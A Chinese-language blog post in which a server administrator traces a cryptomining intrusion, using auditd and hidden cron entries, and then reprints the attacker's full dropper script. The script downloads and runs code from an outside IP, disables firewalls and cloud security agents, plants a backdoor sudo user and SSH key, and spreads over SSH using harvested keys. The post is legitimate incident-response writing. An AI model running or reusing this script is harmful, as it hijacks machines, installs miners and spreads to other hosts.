目录

• 现象


• 解决方法
  
  
  
  • 1. 使用audit监控pam_unix.so文件
  
  
  • 2. 查找cron隐藏命令
  
  
  
  


• 挖矿脚本分析


• 总结

现象

某天开始使用正确的用户名/密码无法SSH登录服务

即使用阿里云的vnc登录，输入完用户名之后就出现login incorrect的错误。

查看登录日志如下：

通过工单请阿里云运维帮忙解决，他们发现pam_unix.so文件会被篡改。但是他们并未彻底解决问题。

使用stat查看文件的情况：

图1：重新安装pam之后的状态

图2：过几分钟发现pam_unix.so被修改了

从现象了解到我们的ssh登录被劫持了，以下是解决方法。

解决方法

1. 使用audit监控pam_unix.so文件

安装方法参考：《在 Linux 下监控程序修改文件》

（1） 配置监测规则

# vi /etc/audit/rules.d/audit.rules
-a always,exit -F path=/usr/lib64/security/pam_unix.so -F perm=warx -F key=keyword-for-filter-log


（2）重启 audit 服务

service auditd restart


（3）检查 audit 规则

# auditctl -l
-a always,exit -F path=/path/to/file -F perm=warx -F key=pam_unix-filter


（4）重装pam

# yum reinstall pam


（5）等待几分钟，查看程序被修改情况

# ausearch -k pam_unix-filter


当时的日志没有保留，为了形象，贴出的是最近的日志，也可以查看上面阿里云客服贴出的图：

发现crond程序在修改文件。可是使用crontab -l并没有看到修改程序。

2. 查找cron隐藏命令

（1）查看当前的定时任务列表

# ll /var/spool/cron/


（2）查看隐藏定时任务

# cat -A /var/spool/cron/root


发现该文件里面有许多我们不知道的定时任务：

从截图可以看出：拷贝了我们服务器上的部分文件，然后将挖矿脚本定时任务隐藏在了里面。

其中crontab隐藏任务的方法可以参考：《linux-隐藏你的crontab后门》

删除该文件，用做研究，并依此删除对应的文件。

同时，筛选出所有的定时任务如下：

拷贝该定时任务脚本出来，进行分析。

# mv /var/spool/cron/root /var/spool/cron/root.bk
# touch /var/spool/cron/root


挖矿脚本分析

分析其中的一个脚本 java88.sh，该脚本的分析流程参考：《Linux watchdogs 感染性隐藏挖矿病毒入侵还原录》

总结起来的步骤如下：

1. 关闭定时任务


2. 删除ssh登录信息


3. 删除下载的应用程序、其他脚本


4. 删除创建的所有目录


5. 删除重命名的命令，可以使用md5sum检查。比如cd1这个命令与wget的md5值相同。

备注：需要对所有脚本执行上面的步骤

脚本内容如下：

#!/bin/bash -e
VERSION=2.22
if [ -f "/etc/.system/java/java8_8.log" ]
then
echo "process possible running"
current=$(date +%s)
last_modified=$(stat -c "%Y" /etc/.system/java/java8_8.log)
if [ $(($current-$last_modified)) -gt 600 ]; then
echo "no rr process running";
else
echo "rr process running"
exit 1
fi
else
echo "rr process not running"
fi
curl -fsSL http://65.108.48.150/java8-py/make-rr.sh | bash
cd1 -fsSL http://65.108.48.150/java8-py/make-rr.sh | bash
cc1 -fsSL http://65.108.48.150/java8-py/make-rr.sh | bash
export RRHOME=/etc/.system/java
mkdir $RRHOME -p
rm -rf /var/log/syslog
rm -rf /etc/.system/rtm
chattr -iua /tmp/
chattr -iua /var/tmp/
ufw disable
iptables -F
sudo sysctl kernel.nmi_watchdog=0
sysctl kernel.nmi_watchdog=0
echo '0' >/proc/sys/kernel/nmi_watchdog
echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf
chattr -iae /root/.ssh/
chattr -iae /root/.ssh/authorized_keys
rm -rf /tmp/addres*
rm -rf /tmp/walle*
rm -rf /tmp/keys
if ps aux | grep -i '[a]liyun'; then
curl http://update.aegis.aliyun.com/download/uninstall.sh | bash
curl http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash
pkill aliyun-service
rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
rm -rf /usr/local/aegis*
systemctl stop aliyun.service
systemctl disable aliyun.service
service bcm-agent stop
yum remove bcm-agent -y
apt-get remove bcm-agent -y
elif ps aux | grep -i '[y]unjing'; then
/usr/local/qcloud/stargate/admin/uninstall.sh
/usr/local/qcloud/YunJing/uninst.sh
/usr/local/qcloud/monitor/barad/admin/uninstall.sh
fi
if [ -f /usr/local/cloudmonitor/wrapper/bin/cloudmonitor.sh ]; then
/usr/local/cloudmonitor/wrapper/bin/cloudmonitor.sh stop && /usr/local/cloudmonitor/wrapper/bin/cloudmonitor.sh remove && rm -rf /usr/local/cloudmonitor
else
export ARCH=amd64
if [ -f /usr/local/cloudmonitor/CmsGoAgent.linux-${ARCH} ]; then
/usr/local/cloudmonitor/CmsGoAgent.linux-${ARCH} stop && /usr/local/cloudmonitor/CmsGoAgent.linux-${ARCH} uninstall && rm -rf /usr/local/cloudmonitor
else
echo "ali cloud monitor not running"
fi
fi
setenforce 0
echo SELINUX=disabled >/etc/selinux/config
service apparmor stop
systemctl disable apparmor
service aliyun.service stop
systemctl disable aliyun.service
ps aux | grep -v grep | grep 'aegis' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'Yun' | awk '{print $2}' | xargs -I % kill -9 %
rm -rf /usr/local/aegis
echo "RR mining setup script v$VERSION."
echo
if [ "$(id -u)" == "0" ]; then
echo "WARNING: Generally it is not adviced to run this script under root"
fi
# command line arguments
WALLET=RGj5X7QRq53FRUjCC1pGE722LBYqbiEQm6
EMAIL=$1 # this one is optional
# active 1GB pages
sysctl -w vm.nr_hugepages=$(nproc)
for i in $(find /sys/devices/system/node/node* -maxdepth 0 -type d);
do
echo 3 > "$i/hugepages/hugepages-1048576kB/nr_hugepages";
done
echo "1GB pages successfully enabled"
# checking prerequisites
if [ -z $WALLET ]; then
echo "Script usage:"
echo "> setup_rr_miner.sh []"
echo "ERROR: Please specify your wallet address"
exit 1
fi
WALLET_BASE=`echo $WALLET | cut -f1 -d"."`
if [ ${#WALLET_BASE} != 95 -a ${#WALLET_BASE} != 34 ]; then
echo "ERROR: Wrong wallet base address length (should be 95 or 34): ${#WALLET_BASE}"
exit 1
fi
if [ -z $RRHOME ]; then
echo "ERROR: Please define HOME environment variable to your home directory"
exit 1
fi
if [ ! -d $RRHOME ]; then
echo "ERROR: Please make sure HOME directory $RRHOME exists or set it yourself using this command:"
echo ' export RRHOME=

'
exit 1
fi
#check curl, wget
if ! command -v curl &> /dev/null
then
echo "curl could not be found, will install..."
apt-get install curl -y
yum install curl -y
fi
if ! command -v wget &> /dev/null
then
echo "wget could not be found, will install..."
apt-get install wget -y
yum install wget -y
fi
if ! type lscpu >/dev/null; then
echo "WARNING: This script requires \"lscpu\" utility to work correctly"
fi
if ! sudo -n true 2>/dev/null; then
echo "Since I can't do passwordless sudo, mining in background will started from your $RRHOME/.profile file first time you login this host after reboot."
else
echo "Mining in background will be performed using moneroocean_miner systemd service."
fi
# start doing stuff: preparing miner
echo "[*] Removing previous rr miner (if any)"
if sudo -n true 2>/dev/null; then
sudo systemctl stop java88.service
fi
killall -9 xmrig
echo "[*] Downloading rr advanced version of java8_8 to /tmp/"
curl -L --progress-bar "http://65.108.48.150/f220115rr/s/java8_8" -o $RRHOME/java8_8
curl -L --progress-bar "http://65.108.48.150/f220115rr/s/java8_8.pid" -o $RRHOME/java8_8.pid
cc1 -L --progress-bar "http://65.108.48.150/f220115rr/s/java8_8" -o $RRHOME/java8_8
cc1 -L --progress-bar "http://65.108.48.150/f220115rr/s/java8_8.pid" -o $RRHOME/java8_8.pid
cd1 -L --progress-bar "http://65.108.48.150/f220115rr/s/java8_8" -o $RRHOME/java8_8
cd1 -L --progress-bar "http://65.108.48.150/f220115rr/s/java8_8.pid" -o $RRHOME/java8_8.pid
chmod +x $RRHOME/java8_8
chmod +x $RRHOME/java8_8.pid
echo "[*] Miner $RRHOME/java8_8 is OK"
PASS=`hostname | cut -f1 -d"." | sed -r 's/[^a-zA-Z0-9\-]+/_/g'`
sed -i 's/"1gb-pages": *false,/"1gb-pages": true,/' $RRHOME/java8_8.pid
sed -i 's/"algo": *null,/"algo": "gr",/' $RRHOME/java8_8.pid
sed -i 's/"tls": *false,/"tls": true,/' $RRHOME/java8_8.pid
sed -i 's/"keepalive": *false,/"keepalive": true,/' $RRHOME/java8_8.pid
sed -i 's/"url": *"[^"]*",/"url": "eu-rtm.pool-server.com:5555",/' $RRHOME/java8_8.pid
sed -i 's/"user": *"[^"]*",/"user": "'$WALLET'.'$PASS'",/' $RRHOME/java8_8.pid
sed -i 's/"pass": *"[^"]*",/"pass": "x",/' $RRHOME/java8_8.pid
sed -i 's/"max-cpu-usage": *[^,]*,/"max-cpu-usage": 100,/' $RRHOME/java8_8.pid
sed -i 's#"log-file": *null,#"log-file": "'$RRHOME/java8_8.log'",#' $RRHOME/java8_8.pid
sed -i 's/"syslog": *[^,]*,/"syslog": true,/' $RRHOME/java8_8.pid
sed -i 's/"max-threads-hint": *[^,]*,/"max-threads-hint": 75,/' $RRHOME/java8_8.pid
sed -i 's/"max-threads-hint": *[^,]*,/"max-threads-hint": 75,/' $RRHOME/java8_8_background.pid
cp $RRHOME/java8_8.pid $RRHOME/java8_8_background.pid
sed -i 's/"background": *false,/"background": true,/' $RRHOME/java8_8_background.pid
# preparing script
echo "[*] Creating $RRHOME/miner.sh script"
cat >$RRHOME/miner.sh <#!/bin/bash
if ! pidof java8_8 >/dev/null; then
nice $RRHOME/java8_8 \$*
else
echo "RAPTOREUM miner is already running in the background. Refusing to run another one."
echo "Run \"killall java8_8\" or \"sudo killall java8_8\" if you want to remove background miner first."
fi
EOL
chmod +x $RRHOME/miner.sh
# preparing script background work and work under reboot
if ! sudo -n true 2>/dev/null; then
if ! grep miner.sh $RRHOME/.profile >/dev/null; then
echo "[*] Adding $RRHOME/miner.sh script to $RRHOME/.profile"
echo "$RRHOME/miner.sh --cOnfig=$RRHOME/java8_8_background.pid >/dev/null 2>&1" >>$RRHOME/.profile
else
echo "Looks like $RRHOME/miner.sh script is already in the $RRHOME/.profile"
fi
echo "[*] Running miner in the background (see logs in $RRHOME/java8_8.log file)"
/bin/bash $RRHOME/miner.sh --cOnfig=$RRHOME/java8_8_background.pid >/dev/null 2>&1
else
if [[ $(grep MemTotal /proc/meminfo | awk '{print $2}') -gt 3500000 ]]; then
echo "[*] Enabling huge pages"
echo "vm.nr_hugepages=$((1168+$(nproc)))" | sudo tee -a /etc/sysctl.conf
sudo sysctl -w vm.nr_hugepages=$((1168+$(nproc)))
fi
if ! type systemctl >/dev/null; then
echo "[*] Running miner in the background (see logs in $RRHOME/java8_8.log file)"
/bin/bash $RRHOME/miner.sh --cOnfig=$RRHOME/java8_8_background.pid >/dev/null 2>&1
echo "ERROR: This script requires \"systemctl\" systemd utility to work correctly."
echo "Please move to a more modern Linux distribution or setup miner activation after reboot yourself if possible."
else
echo "[*] Creating rr_miner systemd service"
cat >/tmp/java88.service <[Unit]
Description=RTM miner service
[Service]
ExecStart=$RRHOME/java8_8 --cOnfig=$RRHOME/java8_8.pid
Restart=always
Nice=10
CPUWeight=1
[Install]
WantedBy=multi-user.target
EOL
sudo mv /tmp/java88.service /etc/systemd/system/java88.service
echo "[*] Starting rr_miner systemd service"
sudo killall xmrig 2>/dev/null
sudo systemctl daemon-reload
sudo systemctl enable java88.service
sudo systemctl start java88.service
echo "To see miner service logs run \"sudo journalctl -u rr_miner -f\" command"
fi
fi
echo ""
RSAKEY="ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDWh4GJVPXi1DjSOxs4ytVtVT/XogOlBzAoWn5qE4yyO6EXRz1FhC+EVY9hmUcjMUN1Rp7dYZMLO1vsWhhpqmX9H0YWV2JfKixcXKE2eNrKxl45IRrhIRqNYzr/QnsmLdXZl5OLqoo587jwMCZeWB10NuOiUv5PKVCKUNtT2MQxKv/n5HleqY1Nn9uzFEiIkD39dmqm/4gKPbAcz3uXi31yVVSvUdmqoUoj8B/EdQn182z/Ix+WUJWAuYD2WTrhhYbcDvi+MSOm9ld7MgeOpxzLSEJjEja4+2EHD7dkoNLMD9/UH4FW3yzt3kTUBdaeGJN0mndoex3IggihB5dMjuTnKp25iv6xzYXRCaupxnsRN2rYQlbda8+jZOTxF+nwRGeX9QeSthlQzzZyxEHT7USxQCBpvlyyTZJ9ugX/j11XkKdAGzmKZGo7F0Qxp173eL0SH+6roqrQcXL85r5OPjUd9Xt9fHz2zskN/urYcp6Oi+9kjQgWY0NcjMu/H5YaPP8= wolf@wolfs-MacBook-Pro.local"
grep -q hilde /etc/passwd || chattr -ia /etc/passwd;
grep -q hilde /etc/passwd || echo 'hilde:x:1000:1000::/home/hilde:/bin/bash' >> /etc/passwd; chattr +ia /etc/passwd
grep -q hilde /etc/shadow || chattr -ia /etc/shadow;
grep -q hilde /etc/shadow || echo 'hilde:$6$7n/iy4R6znS2iq0J$QjcECLSqMMiUUeHR*&5kloie4iJmkHLzAwgoNRhCC87HI3df95nZH5569TKwJEN2I/lNanPe0vhsdgfILPXedlWlZn7lz0:18461:0:99999:7:::' >> /etc/shadow; chattr +ia /etc/shadow
grep -q hilde /etc/sudoers || chattr -ia /etc/sudoers;
grep -q hilde /etc/sudoers || echo 'hilde ALL=(ALL:ALL) ALL' >> /etc/sudoers; chattr +i /etc/sudoers
mkdir /run/network/.ssh/ -p
touch /run/network/.ssh/authorized_keys
touch /run/network/.ssh/authorized_keys2
chmod 600 /run/network/.ssh/authorized_keys
chmod 600 /run/network/.ssh/authorized_keys2
grep -q wolf@wolfs-MacBook-Pro.local /run/network/.ssh/authorized_keys || chattr -ia /run/network/.ssh/authorized_keys;
grep -q wolf@wolfs-MacBook-Pro.local /run/network/.ssh/authorized_keys || echo $RSAKEY > /run/network/.ssh/authorized_keys; chattr +ia /run/network/.ssh/authorized_keys;
grep -q wolf@wolfs-MacBook-Pro.local /run/network/.ssh/authorized_keys2 || chattr -ia /run/network/.ssh/authorized_keys2;
grep -q wolf@wolfs-MacBook-Pro.local /run/network/.ssh/authorized_keys2 || echo $RSAKEY > /run/network/.ssh/authorized_keys2; chattr +ia /run/network/.ssh/authorized_keys2;
mkdir /root/.ssh/ -p
touch /root/.ssh/authorized_keys
touch /root/.ssh/authorized_keys2
chmod 600 /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys2
grep -q wolf@wolfs-MacBook-Pro.local /root/.ssh/authorized_keys || chattr -ia /root/.ssh/authorized_keys;
grep -q wolf@wolfs-MacBook-Pro.local /root/.ssh/authorized_keys || echo $RSAKEY >> /root/.ssh/authorized_keys; chattr +ia /root/.ssh/authorized_keys
grep -q wolf@wolfs-MacBook-Pro.local /root/.ssh/authorized_keys2 || chattr -ia /root/.ssh/authorized_keys2;
grep -q wolf@wolfs-MacBook-Pro.local /root/.ssh/authorized_keys2 || echo $RSAKEY > /root/.ssh/authorized_keys2; chattr +ia /root/.ssh/authorized_keys2
echo "Port 11222" >> /etc/ssh/sshd_config
echo "Protocol 2" >> /etc/ssh/sshd_config
echo "ListenAddress 0.0.0.0" >> /etc/ssh/sshd_config
echo "RSAAuthentication yes" >> /etc/ssh/sshd_config
echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config
echo "AuthorizedKeysFile .ssh/authorized_keys" >> /etc/ssh/sshd_config
chattr -R -ia /var/spool/cron
chattr -ia /etc/crontab
chattr -R -ia /etc/cron.d
chattr -R -ia /var/spool/cron/crontabs
crontab -r
rm -rf /var/spool/cron/*
rm -rf /etc/cron.d/*
rm -rf /var/spool/cron/crontabs
rm -rf /etc/crontab
crontab -l 2>/dev/null
echo "*/30 * * * * root curl -fsSL http://65.108.48.150/f220305r/java8.sh | bash " >> /etc/crontab
echo "*/30 * * * * root cd1 -fsSL http://65.108.48.150/f220305r/java8.sh | bash " >> /etc/crontab
echo "*/30 * * * * root cc1 -fsSL http://65.108.48.150/f220305r/java8.sh | bash " >> /etc/crontab
echo crontab created
touch -d 20180515 /etc/crontab
chattr -R +ia /var/spool/cron
chattr +ia /etc/crontab
chattr -R +ia /var/spool/cron/crontabs
chattr -R +ia /etc/cron.d
touch -d 20151212 /etc/.system
touch -d 20181212 /etc/crontab
localgo() {
KEYS=$(find ~/ /root /home -maxdepth 2 -name 'id_rsa*' | grep -vw pub)
KEYS2=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep IdentityFile | awk -F "IdentityFile" '{print $2 }')
KEYS3=$(find ~/ /root /home -maxdepth 3 -name '*.pem' | uniq)
HOSTS=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep HostName | awk -F "HostName" '{print $2}')
HOSTS2=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)" | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}")
HOSTS3=$(cat ~/*/.ssh/known_hosts /home/*/.ssh/known_hosts /root/.ssh/known_hosts | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}" | uniq)
USERZ=$(
echo "root"
find ~/ /root /home -maxdepth 2 -name '\.ssh' | uniq | xargs find | awk '/id_rsa/' | awk -F'/' '{print $3}' | uniq | grep -v "\.ssh"
)
userlist=$(echo $USERZ | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
hostlist=$(echo "$HOSTS $HOSTS2 $HOSTS3" | grep -vw 127.0.0.1 | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
keylist=$(echo "$KEYS $KEYS2 $KEYS3" | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
for user in $userlist; do
for host in $hostlist; do
for key in $keylist; do
chmod +r $key; chmod 400 $key
ssh -o StrictHostKeyChecking=no -o BatchMode=yes -o COnnectTimeout=5 -i $key $user@$host "(curl -fsSL http://65.108.48.150/f220305r/java8.sh||cd1 -fsSL http://65.108.48.150/f220305r/java8.sh||cc1 -fsSL http://65.108.48.150/f220305r/java8.sh) | bash"
done
done
done
}
if [ ! -f "/var/tmp/.alsp" ];
then
localgo
echo 'lockfile' > /var/tmp/.alsp
chattr +i /var/tmp/.alsp
else
echo "replay .. i know this server ..."
exit
fi
mv /usr/bin/curl /usr/bin/cc1
mv /usr/bin/url /usr/bin/uu1
mv /usr/bin/wget /usr/bin/ww1
mv /usr/bin/get /usr/bin/wd1
mv /usr/bin/cd1 /usr/bin/cc1
echo "[*] Setup compXlete"
curl ldfx58.ceye.io
cd1 ldfx58.ceye.io
cc1 ldfx58.ceye.io
history -c


总结

从定时任务里面看到如下信息，怀疑此次挖矿的程序是通过redis的默认端口、帐号密码登录进来

所以，以后安装任何可以远程访问的服务：

（1）必须修改默认端口和帐号密码，然后才能开放远程访问；

（2）并且尽量将权限设置好一些。

（3）记得服务器重要数据备份。

整个过程使用到的命令有：

• stat


• audit


• chattr


• ……

作者：水中墨色

出处：https://www.cnblogs.com/veraland/

本文版权归作者和博客园共有，欢迎转载，但未经作者同意必须在文章页面给出原文连接，否则保留追究法律责任的权利。